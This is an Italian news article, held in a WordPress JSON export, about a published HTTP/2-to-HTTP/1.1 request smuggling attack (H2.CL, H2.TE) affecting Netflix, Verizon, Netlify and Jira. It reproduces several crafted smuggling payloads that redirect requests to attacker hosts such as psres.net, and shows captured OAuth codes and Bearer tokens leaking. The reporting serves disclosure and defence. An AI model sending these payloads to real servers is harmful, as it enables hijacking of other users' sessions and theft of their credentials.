{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Nuovo attacco ai sistemi frontend-backend, che consente di infilarsi nelle richieste","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

I sistemi web in cui il frontend riceve connessioni via HTTP\/2 e le passa al backend via HTTP\/1.1 sono vulnerabili a una nuova variante dell'attacco \u00abHTTP Request Smuggling\u00bb, che consente di infiltrarsi nel contenuto delle richieste di altri utenti attraverso l'invio di richieste client appositamente formattate, elaborate nella stessa pipeline tra frontend e backend. L'attacco pu\u00f2 essere utilizzato per inserire codice JavaScript malevolo in una sessione con un sito legittimo, aggirare i sistemi di restrizione degli accessi e catturare i parametri di autenticazione. <\/p>\n

La problematica interessa i web proxy, i bilanciatori di carico, gli web accelerator, i sistemi di distribuzione dei contenuti e altre configurazioni in cui le richieste vengono reindirizzate secondo uno schema frontend-backend. L'autore dello studio ha dimostrato la possibilit\u00e0 di attacco su sistemi come Netflix, Verizon, Bitbucket, Netlify CDN e Atlassian, ottenendo 56.000 dollari nei programmi di bug bounty. La presenza del problema \u00e8 stata confermata anche nei prodotti di F5 Networks. Parte del problema coinvolge mod_proxy nel server HTTP Apache (CVE-2021-33193), con la correzione attesa nella versione 2.4.49 (gli sviluppatori sono stati avvisati del problema all'inizio di maggio e hanno ricevuto 3 mesi per sistemarlo). In nginx, la possibilit\u00e0 di specificare simultaneamente gli header \u00abContent-Length\u00bb e \u00abTransfer-Encoding\u00bb \u00e8 stata bloccata nell'ultima versione (1.21.1). Gli strumenti per condurre attacchi sono gi\u00e0 stati aggiunti all'arsenale di Burp e sono disponibili sotto forma di estensione Turbo Intruder. <\/p>\n

Il principio operativo del nuovo metodo di infiltrazione delle richieste nel traffico \u00e8 simile alla vulnerabilit\u00e0 identificata dallo stesso ricercatore due anni fa, ma limitata ai frontend che ricevono richieste via HTTP\/1.1. Ricordiamo che nello schema frontend-backend, le richieste dei client sono ricevute da un nodo aggiuntivo \u2014 il frontend \u2014 che stabilisce una connessione TCP a lungo termine con il backend, il quale si occupa dell'elaborazione diretta delle richieste. Attraverso questa connessione comune, di solito vengono trasmesse richieste di utenti diversi, che seguono una dieta sequenziale separata dai mezzi del protocollo HTTP. <\/p>\n

L'attacco classico \"HTTP Request Smuggling\" si basava sul fatto che i front-end e i back-end interpretano in modo diverso l'uso degli header HTTP \"Content-Length\" (che determina la dimensione totale dei dati nella richiesta) e \"Transfer-Encoding: chunked\" (che consente di inviare dati a pezzi). Per esempio, se il front-end supporta solo \"Content-Length\", ma ignora \"Transfer-Encoding: chunked\", l'attaccante pu\u00f2 inviare una richiesta in cui sono specificati entrambi gli header \"Content-Length\" e \"Transfer-Encoding: chunked\", ma la dimensione in \"Content-Length\" non corrisponde alla dimensione della stringa chunked. In questo caso, il front-end elaborer\u00e0 e reindirizzer\u00e0 la richiesta in base a \"Content-Length\", mentre il back-end aspetter\u00e0 la fine del blocco in base a \"Transfer-Encoding: chunked\", e il resto della richiesta dell'attaccante risulter\u00e0 all'inizio di una richiesta estranea inviata successivamente. <\/p>\n

A differenza del protocollo testuale HTTP\/1.1, il cui parsing avviene a livello di righe, HTTP\/2 \u00e8 un protocollo binario e gestisce blocchi di dati di dimensioni precedentemente determinate. In HTTP\/2 vengono utilizzati pseudo-header che corrispondono agli header HTTP standard. Quando interagisce con il back-end tramite il protocollo HTTP\/1.1, il front-end traduce questi pseudo-header in analoghi header HTTP\/1.1. Il problema \u00e8 che il back-end prende decisioni sul parsing del flusso basandosi gi\u00e0 sugli header HTTP impostati dal front-end, senza avere informazioni sui parametri della richiesta originale. <\/p>\n

Inclusi gli pseudo-header possono essere trasmessi i valori \"content-length\" e \"transfer-encoding\", nonostante in HTTP\/2 non vengano utilizzati, poich\u00e9 la dimensione di tutti i dati \u00e8 definita in un campo separato. Tuttavia, durante il processo di conversione della richiesta da HTTP\/2 a HTTP\/1.1, questi header vengono trasferiti e possono fuorviare il back-end. Si distinguono due principali varianti d'attacco: H2.TE e H2.CL, in cui il back-end viene ingannato da un valore errato di transfer-encoding o content-length, che non corrisponde alla reale dimensione del corpo della richiesta pervenuta al front-end tramite il protocollo HTTP\/2.

\"Nuovo<\/center> <\/p>\n

Come esempio di attacco H2.CL viene indicato un valore non corretto nella pseudo-intestazione content-length durante l'invio di una richiesta HTTP\/2 a Netflix. Questa richiesta porta all'aggiunta di un'intestazione HTTP equivalente Content-Length quando ci si rivolge al backend tramite HTTP\/1.1, ma poich\u00e9 il valore in Content-Length \u00e8 inferiore a quello reale, parte dei dati alla fine viene elaborata come l'inizio di una richiesta successiva. <\/p>\n

Ad esempio, la richiesta HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Porter\u00e0 all'invio al backend della richiesta: POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Poich\u00e9 Content-Length ha un valore di 4, il backend percepir\u00e0 come corpo della richiesta solo «abcd», mentre la parte restante «GET \/n HTTP\/1.1…» verr\u00e0 trattata come l'inizio della successiva richiesta associata a un altro utente. Di conseguenza si verificher\u00e0 una desincronizzazione del flusso e in risposta alla richiesta successiva verr\u00e0 fornito il risultato dell'elaborazione della richiesta ingannevole. Nel caso di Netflix, l'indicazione di un host esterno nell'intestazione «Host:» nella richiesta ingannevole ha portato all'invio al client della risposta «Location: https:\/\/02.rs?x.netflix.com\/n» e ha permesso di trasmettere al client contenuti arbitrari, incluso l'esecuzione del proprio codice JavaScript nel contesto del sito Netflix. <\/p>\n

La seconda variante dell'attacco (H2.TE) \u00e8 legata all'inserimento dell'intestazione «Transfer-Encoding: chunked». L'uso della pseudo-intestazione transfer-encoding in HTTP\/2 \u00e8 vietato dalla specifica, e le richieste contenenti tale intestazione devono essere interpretate come non valide. Nonostante ci\u00f2, alcune implementazioni di frontend non rispettano questo requisito e consentono l'uso della pseudo-intestazione transfer-encoding in HTTP\/2, che viene trasformata in un'intestazione HTTP equivalente. In presenza dell'intestazione «Transfer-Encoding», il backend pu\u00f2 percepirla come pi\u00f9 prioritaria ed eseguire l'analisi dei dati in parti nel modo «chunked» utilizzando blocchi di dimensioni diverse nel formato «{dimensione}\r\n{blocco}\r\n{dimensione}\r\n{blocco}\r\n0», nonostante la divisione originale per dimensione totale. <\/p>\n

La presenza di una vulnerabilit\u00e0 simile \u00e8 stata dimostrata con l'esempio dell'azienda Verizon. In questo caso, il problema riguardava il portale di autenticazione e il sistema di gestione dei contenuti<\/a>, che \u00e8 utilizzato anche su siti come Huffington Post e Engadget. Ad esempio, la richiesta del cliente tramite HTTP\/2: :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Portava alla trasmissione al backend della richiesta HTTP\/1.1: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Il backend, a sua volta, ignorava l'intestazione \u00abContent-Length\u00bb ed eseguiva la suddivisione nel flusso basata su \u00abTransfer-Encoding: chunked\u00bb. Nella pratica, l'attacco ha permesso di reindirizzare le richieste degli utenti verso il proprio sito e di intercettare le richieste relative all'autenticazione OAuth, i cui parametri venivano visualizzati nell'intestazione Referer, oltre a simulare una sessione di autenticazione e a innescare l'invio da parte del sistema delle credenziali dell'utente verso l'host dell'attaccante. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?…&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik… <\/p>\n

Per attaccare le implementazioni di HTTP\/2, che non consentono l'indicazione dell'header pseudo \u00abtransfer-encoding\u00bb, \u00e8 stato proposto un altro metodo, relativo alla sostituzione dell'intestazione \u00abTransfer-Encoding\u00bb tramite il suo attacco ad altri header pseudo con la separazione tramite il simbolo di ritorno a capo (in questo caso, convertendo in HTTP\/1.1 si creano due intestazioni HTTP separate). <\/p>\n

Ad esempio, il problema indicato ha colpito Atlassian Jira e Netlify CDN (utilizzato per servire la pagina iniziale di Mozilla in Firefox). In particolare, la richiesta HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

portava all'invio al backend della richiesta HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Un'altra opzione per l'inserimento dell'intestazione «Transfer-Encoding» \u00e8 stata quella di allegarla al nome di un'altra pseudo-intestazione o a una riga con il metodo della richiesta. Ad esempio, quando si accede a Atlassian Jira, il nome della pseudo-intestazione «foo: bar\r\ntransfer-encoding» con il valore «chunked» portava all'aggiunta delle intestazioni HTTP «foo: bar» e «transfer-encoding: chunked», mentre l'indicazione nella pseudo-intestazione «:method» con il valore «GET \/ HTTP\/1.1\r\nTransfer-encoding: chunked» veniva tradotto in «GET \/ HTTP\/1.1\r\ntransfer-encoding: chunked». <\/p>\n

Il ricercatore che ha individuato il problema ha anche proposto una tecnica di tunneling delle richieste per attaccare i front-end in cui per ogni Indirizzi IP<\/a> viene stabilita una connessione separata con il backend e il traffico di diversi utenti non viene mescolato. La tecnica proposta non consente di intromettersi nelle richieste di altri utenti, ma permette di inquinare la cache comune, influenzando l'elaborazione di altre richieste, e consente di eseguire l'inserimento di intestazioni HTTP interne utilizzate per trasmettere informazioni di servizio dal front-end al backend (ad esempio, durante l'autenticazione sul front-end, in tali intestazioni possono essere trasmesse informazioni sull'utente corrente al backend). Come esempio di applicazione del metodo nella pratica, grazie all'inquinamento della cache \u00e8 stato possibile ottenere il controllo delle pagine nel servizio Bitbucket.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nuovo attacco ai sistemi front-end-backend, che consente di infiltrarsi nelle richieste | ProHoster","description":"I sistemi web in cui il frontend accetta connessioni tramite HTTP\/2 e le inoltra al backend tramite HTTP\/1.1 si sono rivelati vulnerabili a una nuova variante dell'attacco \"HTTP Request Smuggling\", che consente l'invio di richieste formulate appositamente.","canonical_url":"https:\/\/prohoster.info\/it\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"it_IT","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/it\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/it\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}